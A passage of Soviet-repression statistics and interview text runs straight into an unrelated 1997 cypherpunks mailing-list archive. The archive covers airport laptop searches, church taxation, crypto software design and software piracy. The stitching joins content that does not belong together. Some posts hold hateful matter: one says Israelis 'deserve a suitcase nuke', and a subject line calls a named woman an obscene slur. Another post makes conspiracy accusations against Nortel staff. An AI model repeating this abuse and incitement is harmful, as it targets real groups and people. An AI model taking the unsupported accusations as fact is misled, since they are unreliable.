  There was no resistance, just as there was no salvo from
the Avrora cruiser. Some shots were fired, but only into the
ceiling of the Smolny Palace. Later the storming of the palace
was presented as something heroic, following the scenario used
for the storming of the Bastille, which was not stormed since
nobody resisted its occupation. At that time there were only
seven prisoners in the Bastille - several crooks, two madmen
and one pervert. They were guarded by a group of invalids.
  Question: Does your commission encounter any difficulties
in its work? Can you answer this question honestly?
  Answer: Honestly? We submitted to the President two draft
decrees on the children of the Gulag and activists of socialist
and other similar parties, exterminated by the Bolsheviks. They
have been shelved. Not long ago I met with Valentin Yumashev,
head of the Presidential Administration, and asked him about
the fate of these drafts. He showed certain interest in the
problem, but it turned out that nobody had reported to him on
it. I know that bureaucrats, taking cover behind the idea of
accord and reconciliation, are prepared to gladly forget about
any crimes of the past.
  Our bureaucrat is a very interesting person. He trims his
sails to the wind: when there is no demand for something, he
will do nothing. Besides, a bureaucrat has a natural liking for
dictatorship. As a result, we get a terrible thing:
dictatorship by bureaucrats.
  There are also problems with archives. The law is the law,
but practical matters are something different. For example, our
commission is still waiting for the Office of the Prosecutor
General to provide the verdict on the case of Beria. They use
different pretexts to bide their time. We will have to
translate from English some so-called secret documents, since
they have long been sold abroad.

   4Russia in Facts and Figures 5
  In the first few years after the Bolsheviks came to power,
they persecuted peasants who took part in anti-governmental
action, workers who went on strikes, Cossacks, members of
socialist parties and anarchist organisations, the clergy, and
the seamen who took part in the 1921 Kronstadt "revolt."
  The authorities "neutralised" 16,000 rebel peasants,
confiscated about 500 homesteads and burned down 250 peasant
houses when crushing the revolt of the Tambov peasants in June
1921. Similar "measures" were taken when the Bolsheviks put out
other revolts of peasants, which rocked the Don, Western
Siberia, the Volga Region, Karelia and other regions of the
country in 1918-22.
  in 1921 through 1953, the VChK, OGPU, NKVD and MVD
agencies persecuted 4,060,306 people for political reasons.
Their fate was sealed outside courts. As many as 799,455 were
sentenced to capital punishment (shooting). The tidal wave of
persecutions swept the country in 1937-38, when 1.3 million
were sentenced to hard labour under the notorious Article 58
("counterrevolutionary crimes"), and more than a half of them
(682,000) were shot. At least 40 million were sentenced to
different prison terms in 1923-53. As many as 2.6 million
languished in prisons in 1950, and another 2.3 million lived in
special settlements (data of the late 1940s).

  Persecution Campaigns in the Countryside
  Over 500,000 peasants were persecuted in the late 1920s
and early 1930s. In 1930-31, a total of 1.8 million members of
peasant families were herded into special camps guarded by
special garrisons, without the right to leave them. In all,
over 1 million peasant homesteads were recognised as belonging
to kulaks (well-off peasants) during the collectivisation
campaign, and nearly 5 million peasants were sent into exile.

  Persecution of the Clergy
  The year 1918 was marked by the execution of 3,000
clergymen. Another 500-odd were shot in 1928, and 2,500 in
1930. As many as 136,900 Orthodox clergymen were persecuted in
1937, 85,300 of whom were shot. In 1938-41, the church lost
another 38,900 men, 36,400 of whom were executed. The
persecution of the clergy continued well into the 1970s. By
1976, the number of dioceses in the country dropped to 7,038
(there were 48,000 in 1918). In all, about 200,000 clergymen
suffered at the hands of Bolsheviks since the 1917 revolution.

  Persecution of the Military
  The trial of Tukhachevsky, Yakir and other military
leaders in June 1937 marked the beginning of mass persecutions
in the army, which affected over 40,000 servicemen. In all, the
army was "cleansed" of 45% of commanders who were accused of
political disloyalty. Those who had been unfortunate enough to
be encircled or taken prisoner during the 1941-45 war, and
repatriated Soviet  citizens were severely persecuted during
the war and in the first few years after it. In all, 994,000
servicemen were persecuted during the war, 157,000 of whom were
shot.

  Ethnic Persecution Campaigns
  The forceful movement of whole ethnic groups began before
the 1941-45 war. Poles, Kurds, Koreans, Buryats and other
ethnic groups fell victim to them. Since the mid-1940s to 1961,
a total of 3.5 million members of ethnic groups were
persecuted. The Germans were forced to leave their homes in the
Volga Region, Moscow and Moscow Region and other areas at
gunpoint. The Ingush, Chechens, Kalmyks, Crimean Tartars and
other ethnic groups were deported. In all, 14 ethnic groups
were deported fully, and 48, partially.
  The slightest signs of anti-governmental sentiments were
mercilessly crushed after the war, for example the workers'
demonstrations in Novocherkassk in 1962, when the workers
protested against price rises and simultaneous cuts in their
wages.
  Dissidents were the main victims of persecution campaigns
in the 1960s-1980s. In 1967 through 1971, the KGB "revealed"
over 3,000 groups of "politically dangerous nature," with
13,500 members of these groups persecuted. Since the mid-1950s,
the KGB widely used psychiatrists to combat dissent. According
to the 1986 information, 5,329 dissidents were the inmates of
the Kazan, Leningrad, Orel, Sychevka, Chernyakhovsk and
Blagoveshchensk psychiatric clinics of the USSR Interior
Ministry. The number of "mental cases" in the Leningrad
hospital of the Interior Ministry went up from 324 to 1,181
in 1956-86.
========================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Wed, 5 Nov 1997 05:32:33 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Profiling/pc security at Ben-Gurion Airport, Tel Aviv, Israel
In-Reply-To: <1.5.4.32.19971104141539.00678200@pop.samart.co.th>
Message-ID: <345f8817.3651882@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 4 Nov 1997 14:08:19 -0600, kraiwut@samart.co.th wrote:

>
>Profiling/personal computer security at Ben Gurion Airport, Tel Aviv
>I just had a rather unholy experience in Israel. Maybe someone with
>expertise can email me a few suggestions with regards to securing a PC at
>start up.
>
[ long horror story deleted]
>
>What can I do to make the computer fucking impenetrable at start up? --- to
>the point that they have to ask me for the password or  nothing moves. 

Nothing can stop them completely from starting up your machine.  The best
thing you can do is to use a bios password, but that won't hold up if
somebody cracks open the machine.

If somebody can get physical control of your computer, they can start it
up.  However, that doesn't mean that they can run anything important.
Encrypt your files and install everything on one of the secure filesystems
floating around ( like SFS from
http://www.cs.auckland.ac.nz/~pgut001/sfs.html ).

Also check out the following site for a description of a secure notebook
machine:

http://www.eskimo.com/~joelm/cbintro.html

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jesus Christ <js@dev.null>
Date: Wed, 5 Nov 1997 12:14:31 +0800
To: hayden@phoenix.net
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <345FE31E.6C30@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



hayden@phoenix.net wrote:

> I found the mockery of Jesus offensive.

  Me too!

~J H.Fucking. C~
"So they were offended at Him. But Jesus said to them,
<red> 'A prophet is not without honour except in his own
       country and on his own mailing list.' <red> "






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kraiwut@samart.co.th
Date: Tue, 4 Nov 1997 22:42:25 +0800
To: cypherpunks@toad.com
Subject: Profiling/pc security at Ben-Gurion Airport, Tel Aviv, Israel
Message-ID: <1.5.4.32.19971104141539.00678200@pop.samart.co.th>
MIME-Version: 1.0
Content-Type: text/plain



Profiling/personal computer security at Ben Gurion Airport, Tel Aviv
I just had a rather unholy experience in Israel. Maybe someone with
expertise can email me a few suggestions with regards to securing a PC at
start up.

On Nov. 2nd I arrived three hours early to Ben Gurion Airport  for my flight
to Bangkok(via Amman, Jordan). While standing in line before the check-in
counters I listened to   Shin Bet representatives interrogating passengers.
When my turn came the friendly skies  turned dark. Apparently my responses
to the standardized  questions became  an unwelcome indictment. 
I believe a few things contributed to my being selected: 
1) jobless but carrying a generous roll of C notes and a stack of trav. checks
2) purchased a one-way the day before from an Arab travel agent(with credit
card, not cash)
3) declined an Israeli stamp in my passport(*red flag*)
4) numerous stamps from Arab countries; travelled overland from Sinai
5) I rented a car from an Arab agency located in East Jerusalem
These characteristics qualified me for a trip to the back room where they
opened my bag and discovered a computer. 

"Why didn't you tell me you had a computer?" the Shin Bet trainee demanded
in a somewhat agitated tone. "Because you didn't ask",  I replied. 

A few moments later someone emerged from yet another  back room and asked me
something stupid about the computer's  battery. I removed the battery as
requested. He then asked to see the computer ostensibly to send it through a
machine to determine  if it  was actually a well-disguised  bomb. That was
his  pretense as the computer disappeared for more than 45 minutes. About 5
minutes after he left with the computer someone else walked into the room
and gave me the floppy that I always leave in that drive. I assume that this
means that  they began working on the machine as soon as they left the room
with it. Later someone else from another building came to look at the
computer so I guess this means that they have a few guys who swing between
the four departure terminals checking on progress or doing whatever. 

When the guy returned my computer there was a half inch crack on the side of
my Toshiba that hadn't been there when he left with it. Perhaps they took a
hammer and chisel to my hardware.  I started it up and found that  the
Windows 95 password was compromised(no flames, please). I know that you can
by-pass the Win95 password by going to the DOS mode, then tweaking
something. However, I don't think that was done as  the network
configuration was altered and some sort of recent Win95 utility was
installed( and it wasn't mine). I say recent because I have a newer version
Win95  on my desktop so the slight differences are easily apparent to me.
The shut down option has a different("shut down and allow user to log on")
something or other than was there before.

Now the password feature is fucked and the battery management feature isn't
working either. I have PGP5.0 installed and a few other easy-to-use crypto
and stego programs but nothing was said about those. I have three documents
encrypted with PGP but I seriously doubt that they were found. They opened
four documents in WordPerfect but nothing in those documents is in the least
bit interesting. They easily could have copied the entire C drive and given
the machine back to me. Or they could snatch an identity or two and use them
for their own corrupt pursuits. 

What can I do to make the computer fucking impenetrable at start up? --- to
the point that they have to ask me for the password or  nothing moves. 

The whole episode was unfucking believable and that wasn't all. I had a $50
bill stashed in a small space in my backpack. While in the terminal waiting
to board I discovered it missing. One of the urchins who was protecting the
Jewish state from terrorism burned me. The adapter for my Canon printer is
missing as well. 


In short, the Israelis are unscrupulous bastards who deserve a suitcase
nuke. I am convinced of this after having visited the  tragedy known as the
Occupied Territories--- but that is another matter.

I wrote down most of the questions used for their  profiling scheme. If
anyone is interested I will send them if requested. If anyone is interested
in creating a page dedicated to these profiling schemes(American, Israeli,
anyone)  I would be happy to contribute. 

send security suggestions to: hico@hotmail.com










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. C. Szul" <mack97@erols.com>
Date: Wed, 5 Nov 1997 09:19:48 +0800
To: "Colin A. Reed" <aleph@cco.caltech.edu>
Subject: Re: Jodi Hoffman:  Homophobe!!!!!!!!
In-Reply-To: <3.0.3.32.19971103220718.00c60100@pop-server.caltech.edu>
Message-ID: <34600224.46B4@erols.com>
MIME-Version: 1.0
Content-Type: text/plain



Colin A. Reed wrote:
> 
> I found the part about aids more obscene.  Most new cases are among
> promiscuous heterosexuals.  Of course if you are truly abstinent or
> monogamous you don't have to worry, as all blood (in the US at least) is
> now heavily tested and has been ever since HIV was found.  Looks like Mrs.
> Hoffman should take a sex ed class so that she will be able to tell her
> children the truth instead of made up fantasies.  Unreasonable fear is very
> harmful to anyone's mental health, especially children.
--------------------->snip>------------------------

"Fear can only prevail when victims are ignorant of the facts." - Thomas
Jefferson

-A
http://www.erols.com/mack97
"The sharpest tool in the shed." -- anonymous





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 5 Nov 1997 13:31:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Taxing Churches for their views? Bad idea.
In-Reply-To: <199711050422.FAA04318@basement.replay.com>
Message-ID: <v03102804b085a39979d4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:22 PM -0700 11/4/97, Anonymous wrote:

>  I feel that Tim is correct, in terms of "opinions," but the Christian
>political agenda goes beyond 'opinions' and into the realm of political
>activism which is regulated by law.

It shouldn't be. "Political activism" is speech. And "Congress shall make
no law...."

The First doesn't say that Congress gets to restrict some kinds of
"political activism" (assuming it is speech, writing, etc., and not
invading property, extortion, etc.).

This is why "campaign spending limits" are thought by many constitutional
scholars and all libertarians to be unconstitutional. If Bill Gates wants
to spend his money talking about how great gun control is, no one can stop
him.

(The current "campaign financing laws" are already afoul of the First. They
may eventually be challenged and, I hope, struck down.)

Needless to say, telling churches what they can say and cannot say is a
slam dunk violation of the First.



>  It is a fact that the Moral Majority/Christian Right/Felons For Jesus,
>etc., make no bones about using their tax-deductible resources to mount
>political campaigns that illegally skirt the rules pertaining to the
>direct support of political parties and candidates.

So? Then change the tax laws for _all_ religions, churches, creeds, and cults.

As for the Christian Right lobbying, what of the Christian *Left* lobbying
for the Sanctuary Movement, the anti-Sandinista side, against the Viet Nam
war, etc.? Those Berrigan brothers and their antiwar rhetoric...surely that
was enough to cause the Catholic Church to be "taxed into penury"? Or the
liberal pinko commie jew Quakers...too bad Nixon wasn't able to shut those
pinko fags down (er, I guess Nixon _was_ a Quaker...never mind).

I think you should see where this is all going. Shut down the Buddhists for
protesting the Viet Nam War. Shut down the Baptists for arguing against
abortion. Where would it end?

Fortunately, we have the First.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 5 Nov 1997 13:39:39 +0800
To: Eric Cordian <cypherpunks@Algebra.COM
Subject: Re: Taxing Churches for their views? Bad idea.
In-Reply-To: <v03102802b085858a6a1a@[207.167.93.63]>
Message-ID: <v03102805b085a65a1f91@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:58 PM -0700 11/4/97, Eric Cordian wrote:

>I have no objection to churches holding opinions.  However, when they
>become a tax-exempt mechanism for the illegal injection of money into
>political campaigns, taxing is the minimally appropriate response.

Taxation or not taxing is not a favor I entrust to government. This is the
way countries with state religions favor the state religion over other
religions.

Fortunately, we do things differently in this country.


>There is a big difference between saying "Our religion disapproves of
>abortion", and saying "Vote for candidate Y and attend the big rally we
>are paying for out of last week's poorbox donations."

How a church spends its money is not for government to approve of or
disapprove of.


>The Christian right wing has made a mockery of the separation of church
>and state in its conspicuous and direct support of particular political
>candidates.

The "separation of church and state" refers to what power the state may
have over the practice of religion, the establishment of a state religion,
etc.. It has nothing whatsoever to do with stopping the Amish, say, from
voting in blocs for various causes.

See my other post on this topic. The Christian *LEFT* has been active for
several decades in opposing U.S. involvement in wars, in aiding and
abetting draft dodgers, in supporting Marxist regimes in Latin America, in
establishing the Sanctuary Movement, in sabotaging ICBM production
facilities, and in urging churchgoers to vote the agenda being pushed.

So?

Tax all churches or tax no churches, but don't give government the power to
decide if a religion is "worthy" of special tax treatment.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 05:14:29 +0800
To: cypherpunks@toad.com
Subject: Re: S/MIME
Message-ID: <199711042050.VAA08680@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> >>There is an old saying in the Security Field: "Poor Security is worse
> >>than no security at all".

>    at 11:24 AM, Ian Clysdale <iancly@entrust.com> said:
> 
> >   Sorry, I'm going to continue to take a viewpoint that I suspect is
> >rather unpopular in this list, and argue for the advantages of weak
> >crypto in certain circumstances

> This is nothing but selfserving bullshit in a vain effort to justify YOUR
> sellout for a paycheck.

Nortel is nothing more than a Canadian schill for the SnoopSpooks.

Just as the INSLAW Thieves & Murderers used Indian Reservations in an
attempt to pretend that they weren't breaking US law because their
actions were taking place on the soil of a Soverign Nation, the US
criminals use the same bullshit logic to circumvent the laws that
apply to their illegal actions.

It is no coincidence that Nortel is the nesting place of a wide
variety of censorship vermin such as Chris Lewis, and his ilk.
An analysis of a number of employees of Nortel and their bum
buddies shows that the time spent in their output of UseNet
cancels and FUD posts and emails corresponds to the hours of
a corporate work schedule.

Nortel is nothing more than a front for the SnoopSpooks who 
want to capitalize on Canada's image as a Soverign Country
to push their backdoor products in the global community.
These are the same lame fuckers who pulled off this act
in Switzerland, with governments and corporations buying
security products from a country noted for its neutrality,
and then finding out later that it was a front for a
German company that had the CIA's nose up their butt.

It amazes me that corporations and governments put their trust
in any company with the word 'Security' in its name, without
doing a check on their backgrounds and connections that is
at least as intensive as they would do for a new employee.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Wed, 5 Nov 1997 06:15:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Sen. Judd Gregg speaks on cyberporn
In-Reply-To: <v03007804b0853170bbd3@[204.254.22.175]>
Message-ID: <3460988a.7864170@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 4 Nov 1997 15:38:41 -0600, Declan McCullagh <declan@well.com> wrote:

>
>Sen. Judd Gregg (R-NH) is the chairman of the Senate appropriations
>committee's subcommittee that funds the FBI. Today he spoke at
>Digital/AltaVista's "Summit on Internet Content Filtering & Third-Party
>Rating." He said that he "disagreed with the Supreme Court" ruling that
>struck down the CDA as unconstitutional. He praised the FCC and the V-chip.
>He also said:
>
>"In a recent study, the Carnegie Mellon Institute found 917,410 sexually
>explicit pictures, short stories, and film clips online within an 18-month
>period."
>

Oh God. Please tell me they're not going to rehash that shit again (More
than anything, what's CMU now known for:  censorship.  makes me embarassed
to have a degree from that place.)

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Nov 1997 06:54:32 +0800
To: tcmay@got.net
Subject: Re: Charityware
In-Reply-To: <v03102801b083a67344ca@[207.167.93.63]>
Message-ID: <199711042214.WAA04293@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> Monty writes:
> >The important thing is establishment of the custom.  Most
> >cryptoanarchists with class will pay.  The way to do this is to make
> >it clear from day one that it is not free software.  
> 
> _This_ cryptoanarchist will almost _never_ pay for that which is free.

It depends what you call free.  If someone puts a copy of eudora pro
5.67 or whatever other commercial software up on the eternity service,
is that "free"?

It is free to the extent that it is unlikely that you will be caught.
It is even less likely that you will be caught if you are a nym using
remailers mostly.

The difference with an anonymous cryptoanarchist run software house is
that you know that they probably aren't paying taxes on their sales.
So you have additional assurance that they can't touch you if you use
their software -- they'd have to blow their cover unless they just
made a donation to AP or something:-)

People copy commercial software all the time.  I suspect only some
small fraction of personal use software is ever paid for.  Companies
are less likely to do this because they are larger and more worth
going after, and because the SPA software police have caused some
companies problems already.

The shareware, beggarware, or "charityware" approach of giving it away
for free, and then demanding or begging payment is partly an
acknowledgement that there is no way to stop you redistributing it
even if they demanded payment up front.  Plus the advantage that you
get free distribution, if people like it, it'll be all over the place
in no time.  Beggarware has worked for a few people, I think, perhaps
ID software's DOOM was one example.  Yes most people didn't pay, but
the free advertising more than compensated I suspect.

We to frown on protocols which rely on "please give me money", or "and
then we call the cops".  Payment protocols should be clean.

One alternative which Intel is brewing up for us is clipper CPUs which
do things against their owners interests, like encrypted instruction
schemes... nasty stuff.  This would then be used to ensure your copy
of the software won't run on other peoples machines.  That could be
enabling technology for all sorts of snooping.

One idea which I did like was the open bidding for a product to be
developed, people interested in the feature or product pay how much it
is worth to them up front, developers bid to take the job on.  After
it's done the software is freeware.  Supporting ideas discussed before
on this topic are that first to complete gets paid, or lowest bidder
presents completion bond, and that there are independent aribitrators
checking quality.

There was someone who posted to the list that he was going to set this
up.  He even purchased the domain name if I recall.  What happened,
did anything come of it?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 5 Nov 1997 14:30:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Taxing Churches for their views? Bad idea.
In-Reply-To: <199711050422.FAA04318@basement.replay.com>
Message-ID: <v03110714b085c0ba531b@[207.94.249.121]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:26 PM -0800 11/4/97, Tim May wrote:
>This is why "campaign spending limits" are thought by many constitutional
>scholars and all libertarians to be unconstitutional. If Bill Gates wants
>to spend his money talking about how great gun control is, no one can stop
>him.

You might be able to define campaign spending limits in terms of
qualifications for the job.  (I think it would take a constitutional
amendment for federal office holders).  Then you might see the amusing
sight of, e.g. the anti-Clinton people spending heavily on pro-Clinton TV
spots to force Clinton to be disqualified from the job.

Another way which should appeal to the property owner's rights crowd would
be to say that since the 1034 Communications Act says that the airways
belong to the people (i.e. the government), they may not be used for
political advertising more than 6 weeks before an election.  The spread of
private systems such as cable will frustrate this direction.

Please note, I don't advocate either of these "solutions".  I am just
amused to think about them.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Nov 1997 06:53:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Privacy Software
In-Reply-To: <199711031141.DAA01497@sirius.infonex.com>
Message-ID: <199711042232.WAA04306@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Monty writes:
> >What language did you have in mind?  modula-3?  iso-pascal/borland
> >pascal?
> 
> Hadn't thought of Modula-3, but that is an excellent idea.  Java would
> be a candidate, although performance is an issue.  

Java isn't so bad.  Just in time compilers are being shipped with some
browsers (netscape on some platforms).  Sun now has native bigint
library (good for you know what, and exportable because they haven't
included the few lines required to implement public key encryption
with it).

Modula-3 is also fairly clean... garbage collection, bounds checked
arrays, etc.  A `safe' language.  There is indeed a m3 -> c
translator.  I think GNU were working on a m3 module for their
retargetable gcc compiler suite (to go with ada, C, fortran, pascal).
I did hear talk of a java gcc front end also.

> While it may seem crazy to toss compatibility, it has some advantages.
> For instance, the only people who will use it are the hardcore types.
> I like the idea of an exclusive crypto system that only cool people
> who are fairly with it use.

I think there would be advantages to always tunneling the encrypted
messages inside PGP, that way no snoops know you're using it, until
it's too late.

> How about finding a way to eliminate indicators?  It's nice not to
> leak any information at all.  It also makes super-encryption stronger.
> If each encrypted layer looks like noise, the total key size is the
> sum of the bits of each layer.

That's a reasonable idea if you're going to use things like IDEA( k1,
3DES( k2, data ) ).

> If the protocol doesn't accept multiple keys for a message it is
> slightly CAK/GAK resistent.  And, it's a nice statement of intent.
> It's also nice to have tools which help you to behave securely without
> carefully thinking about it when you are using them.

Forward secrecy is what you want for GAK resistance -- can't get much
more GAK hostile than burning your keys seconds after message receipt.

> The randseed.bin file has always bothered me.  What we really want is
> some good sources of entropy in which we have tremendous confidence.

What's wrong with the randseed.bin and the public and private key
rings is that they should all be encrypted with a key derived from
your passphrase.

> >If you use PGP's random pool, one suspects that if IDEA becomes
> >attackable at some point in the future the random pool will start to
> >look more like a predictable PRNG to the attacker.
> >
> >I wonder how good linux's /dev/urandom would be if MD5 becomes even
> >more suspect.
> 
> Well, neither of these would be good for a one time pad, of course.

Linux's /dev/random might not be bad.  There is some real entropy in
key strokes and mouse movements, and they are quite conservative about
entropy estimation.  You can easily make it more conservative -- XOR
together a load of it to derive a smaller key.

> It would be neat to have, say, three sources of hardware randomness
> and then XOR the result with the above pseudo random output.

That'd be fine.  Personally not being a hardware type, I am suspicious
of hardware RNGs.. I can't tell when they are going wrong.. failure
modes can be dangerous (whoops lead fell of geiger tube), etc.
Software and computers are easier to understand.  Provided you XOR the
lot together you should be fine though.

> You know, it would be cool to define a software architecture for
> remailer software.  Different remailers have different properties and
> different strategies.  They may continue to differentiate.

One thing that is sorely needed in my opinion is a simple way to
integrate with existing mailers.  Ie to have some code which acts as
an interface between various extensible email based functions
(remailers, signatures, DC nets, keyservers) and MUAs.  Then someone
gets to fight with the plugin API once, and after that we can
automatically add features which work with lots of MUAs.

The future is in extensibility.  Java is pretty good for this.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Nov 1997 06:54:44 +0800
To: marc@cygnus.com
Subject: Re: Copyright commerce and the street musician protocol
In-Reply-To: <t53yb35r8pl.fsf@rover.cygnus.com>
Message-ID: <199711042243.WAA04316@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Marc Horowitz <marc@cygnus.com> writes:
> As long as it's cheaper or more convenient to buy digital media from
> the publisher than to copy it yourself, the piracy problem basically
> doesn't exist.
> [...]
> I'm unconvinced that there really is an Internet copyright problem,
> outside of traditional media publishers inventing it.

That principle works to some extent, particularly for the bandwidth
impoverished, and the currently bloated games software trying to fill
CD-ROMs with unnecessary junk for one presumes this very purpose.

Leave the bandwidth a while, and the problem may arise again.

I wonder at 2c/minute, say 2k/sec (28.8 modem) that's 6Mb/$ for me
(don't have free local call UK side).  That's $100 for a 600Mb CD!

So as long as the CD costs under $100 and the unnecessary bloatware is
hard for a warez hacker to strip out, that makes it worth buying the
CD.

Another advantage of having the CD is that it's a backup copy, and you
can keep large stuff (say electronic copies of manuals) on it without
chewing up disk space which is more expensive.

Be interesting to see what happens to software copyright as bandwidth
gets more plentiful, as huge solid state mass storage gets cheaper,
and as information becomes harder to track with widespread crypto, and
nicer anonymous protocols enabled by high bandwidth everywhere come
online.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Wed, 5 Nov 1997 13:05:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Taxing Churches for their views? Bad idea.
In-Reply-To: <v03102802b085858a6a1a@[207.167.93.63]>
Message-ID: <199711050458.WAA10404@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May Writes:

> Nonsense. And a dangerous course.

> One can decide to "tax churches" or to "not tax churches." I have no
> particularly strong opinion on either option. 

> But one must definitely _not_ base the decision to tax or not to tax on
> the opinions expressed by a church!

> One cannot decide to tax the Catholic Church "into penury" because its
> anti-abortion views have become politically incorrect in the last 30
> years.  Nor can one decide to tax the tempes and synagogues of Judaism
> "into penury" because they are centers of support for the Zionist
> Entity. 

> Think about it. 

I have no objection to churches holding opinions.  However, when they
become a tax-exempt mechanism for the illegal injection of money into
political campaigns, taxing is the minimally appropriate response.

There is a big difference between saying "Our religion disapproves of
abortion", and saying "Vote for candidate Y and attend the big rally we
are paying for out of last week's poorbox donations." 

The Christian right wing has made a mockery of the separation of church
and state in its conspicuous and direct support of particular political
candidates.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Wed, 5 Nov 1997 13:00:14 +0800
To: bs@dev.null.wittsend.com
Subject: Re: SynCrypt: the new PGP?
In-Reply-To: <345FD534.3258@dev.null>
Message-ID: <199711050436.XAA05517@alcove.wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain



Bruce Schneier enscribed thusly:
> Michael H. Warfield wrote:
> >         Nooo...  Actually, at the moment, we are just trusting their word.
> > So far, we haven't heard a peep from Bruce.  Maybe Bruce is working with
> > them, and that's all well and good, but until such time that we hear so
> > from Bruce in a way that we can authenticate, we are not even up to the
> > point of trusting him as yet.  We are still at the point of trusting
> > whatever they are telling us. 

> Help!!!
> They are holding me hostage at syncrypt.com and using my name
> to promote their product.

	:-) :-) :-)

	Ok ok...  I was just making the point that they were claiming one
thing and we hadn't heard you chime in yet.  I yield.  :-)

> Please! Believe me! This is not just another unclever trick by
> that forging rat bastard from sk.sympatico.ca.

	Snicker...  I had "kinda" assumed (remember the spelling) that if
someone had been making baseless claims about your participation that you
would have been off da pad at warp one.  Just checking to make sure and
keep everyone honest (when was the LAST time I dropped out of lurk mode
on this list???).

> Bruce

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Wed, 5 Nov 1997 13:21:45 +0800
To: bs@dev.null.wittsend.com
Subject: Re: SynCrypt: the new PGP?
In-Reply-To: <345FD534.3258@dev.null>
